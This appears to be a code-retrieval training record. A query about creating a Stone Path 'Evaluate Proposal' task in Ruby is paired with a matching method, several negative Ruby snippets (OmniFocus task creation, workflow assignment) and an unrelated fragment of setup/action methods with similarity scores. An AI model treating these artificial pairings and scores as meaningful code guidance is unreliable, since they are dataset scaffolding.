"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def tipo_trabajador_params
params.require(:tipo_trabajador).permit(:tpt_descripcion)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
STONE PATH TASK RELATED METHODS _____________________________________________________________________ We need to create the stone path task "Evaluate Proposal" and assign it to a workbench of an Organization
|
def send_evaluate_prop
task = @proposal.evaluate_proposals.create
task.workbench = Organization.find params[:organization][:organization_id]
task.save
redirect_to :action => "pending"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def add_task(issue)\n # If there is a passed in OF project name, get the actual project object\n issue.omnifocus_project = omnifocus.project if issue.project\n # If there is a passed in OF context name, get the actual context object\n # Update the context property to be the actual context object not the context name\n issue.omnifocus_context = omnifocus.context if issue.context\n\n # Check to see if there's already an OF Task with that name in the referenced Project\n # If there is, just stop.\n # puts \"fetching omnifocus task for: \\\"#{issue.task_name}\\\"\"\n existing_task = issue.omnifocus_project.tasks.get.find { |t|\n t.name.get == issue.task_name \n }\n\n #TODO: update_issue if exists\n return false if existing_task\n\n # You can uncomment this line and comment the one below if you want the tasks to end up in your Inbox instead of a specific Project\n # new_task = omnifocus_document.make(:new => :inbox_task, :with_properties => issue.omnifocus_properties)\n\n # Make a new Task in the Project\n proj.make(:new => :task, :with_properties => issue.omnifocus_properties)\n puts [\"task created:\", issue.omnifocus_properties].inspect\n return true\nend",
"def create_claim_task\n Task.create(workbench: Role.developer, workitem: self)\n end",
"def add_task(omnifocus_document, new_task_properties, task_ext_ticket_key)\n debug_msg(\"add_task: #{omnifocus_document} #{new_task_properties} #{task_ext_ticket_key}\", 3)\n # If there is a passed in OF project name, get the actual project object\n if new_task_properties['project']\n proj_name = new_task_properties[\"project\"]\n proj = omnifocus_document.flattened_tasks[proj_name]\n debug_msg(\"PROJ: #{proj}\", 10)\n end\n\n\n #TODO\n #If the project/label doesn't exist, create it.\n #\n\n\n\n # TODO: change this to match off the jira id as a regex, not ==, this permits the subject to change\n #\n # Check to see if there's already an OF Task with that name in the referenced Project\n # If there is, just stop.\n name = new_task_properties[\"name\"]\n # binding.pry;\n exists = proj.tasks.get.find { |entry| debug_msg(\"exists entry: #{entry}\",10); entry.name.get == name}\n #I tried several means of trying to get this to be a match, alas, I couldn't get it to work easily.\n # problem for future me.\n # /task_ext_ticket_key/ }#entry.name.get =~ /task_ext_ticket_key/ }\n #tasks.get.find.match(task_ext_ticket_key)# { |t|} # t.name == /task_ext_ticket_key/ }\n if exists\n debug_msg('exists is true',6)\n return false\n end\n # return false if exists\n\n # If there is a passed in OF context name, get the actual context object\n if new_task_properties['context']\n ctx_name = new_task_properties[\"context\"]\n ctx = omnifocus_document.flattened_contexts[ctx_name]\n debug_msg(\"CTX: #{ctx}\", 9)\n end\n\n # Do some task property filtering. I don't know what this is for, but found it in several other scripts that didn't work...\n tprops = new_task_properties.inject({}) do |h, (k, v)|\n h[:\"#{k}\"] = v\n h\n end\n\n # Remove the project property from the new Task properties, as it won't be used like that.\n tprops.delete(:project)\n # Update the context property to be the actual context object not the context name\n tprops[:context] = ctx if new_task_properties['context']\n\n # You can uncomment this line and comment the one below if you want the tasks to end up in your Inbox instead of a specific Project\n# new_task = omnifocus_document.make(:new => :inbox_task, :with_properties => tprops)\n\n # Make a new Task in the Project\n proj.make(:new => :task, :with_properties => tprops)\n\n puts \"task created\"\n return true\nend",
"def doit\n puts \"\\nadd user to ALL workflows\"\n netid = ask('Netid ? ')\n\n p = DEPerson.find(netid)\n\n if !p\n puts \"no such account #{netid}\"\n else\n DSpace.login DConstants::LOGIN\n create_tasks p\n if 'Y' == ask('Commit changes: Yes or No (Y/N) ')\n DSpace.commit\n else\n DSpace.context_renew\n end\n end\n doit\nend",
"def add_task(omnifocus_document, new_task_properties)\n # If there is a passed in OF project name, get the actual project object\n if new_task_properties['project']\n proj_name = new_task_properties[\"project\"]\n proj = omnifocus_document.flattened_tasks[proj_name]\n end\n\n # Check to see if there's already an OF Task with that name in the referenced Project\n # If there is, just stop.\n name = new_task_properties[\"name\"]\n exists = proj.tasks.get.find { |t| t.name.get == name }\n return false if exists\n\n # If there is a passed in OF context name, get the actual context object\n if new_task_properties['context']\n ctx_name = new_task_properties[\"context\"]\n ctx = omnifocus_document.flattened_contexts[ctx_name]\n end\n\n # Do some task property filtering. I don't know what this is for, but found it in several other scripts that didn't work...\n tprops = new_task_properties.inject({}) do |h, (k, v)|\n h[:\"#{k}\"] = v\n h\n end\n\n # Remove the project property from the new Task properties, as it won't be used like that.\n tprops.delete(:project)\n # Update the context property to be the actual context object not the context name\n tprops[:context] = ctx if new_task_properties['context']\n\n # You can uncomment this line and comment the one below if you want the tasks to end up in your Inbox instead of a specific Project\n# new_task = omnifocus_document.make(:new => :inbox_task, :with_properties => tprops)\n\n # Make a new Task in the Project\n proj.make(:new => :task, :with_properties => tprops)\n\n puts \"task created\"\n return true\nend",
"def add_task(omnifocus_document, new_task_properties)\n # If there is a passed in OF project name, get the actual project object\n if new_task_properties['project']\n proj_name = new_task_properties[\"project\"]\n proj = omnifocus_document.flattened_tasks[proj_name]\n end\n\n # Check to see if there's already an OF Task with that name in the referenced Project\n # If there is, just stop.\n name = new_task_properties[\"name\"]\n exists = proj.tasks.get.find { |t| t.name.get == name }\n return false if exists\n\n # If there is a passed in OF context name, get the actual context object\n if new_task_properties['context']\n ctx_name = new_task_properties[\"context\"]\n ctx = omnifocus_document.flattened_contexts[ctx_name]\n end\n\n # Do some task property filtering. I don't know what this is for, but found it in several other scripts that didn't work...\n tprops = new_task_properties.inject({}) do |h, (k, v)|\n h[:\"#{k}\"] = v\n h\n end\n\n # Remove the project property from the new Task properties, as it won't be used like that.\n tprops.delete(:project)\n # Update the context property to be the actual context object not the context name\n tprops[:context] = ctx if new_task_properties['context']\n\n # You can uncomment this line and comment the one below if you want the tasks to end up in your Inbox instead of a specific Project\n# new_task = omnifocus_document.make(:new => :inbox_task, :with_properties => tprops)\n\n # Make a new Task in the Project\n proj.make(:new => :task, :with_properties => tprops)\n\n puts \"task created\"\n return true\nend",
"def assign_task\n if @paradigm.task\n if @paradigm.has_word_linked_to_task? @paradigm.task\n # the current value of task_id is no longer valid\n @paradigm.update_attributes(task: nil)\n end\n\n elsif @current_word && @paradigm.has_word_or_homonym_of?(@current_word)\n @paradigm.update_attributes(task: @current_word.task)\n\n else\n @paradigm.update_attributes(task: nil)\n end\n end",
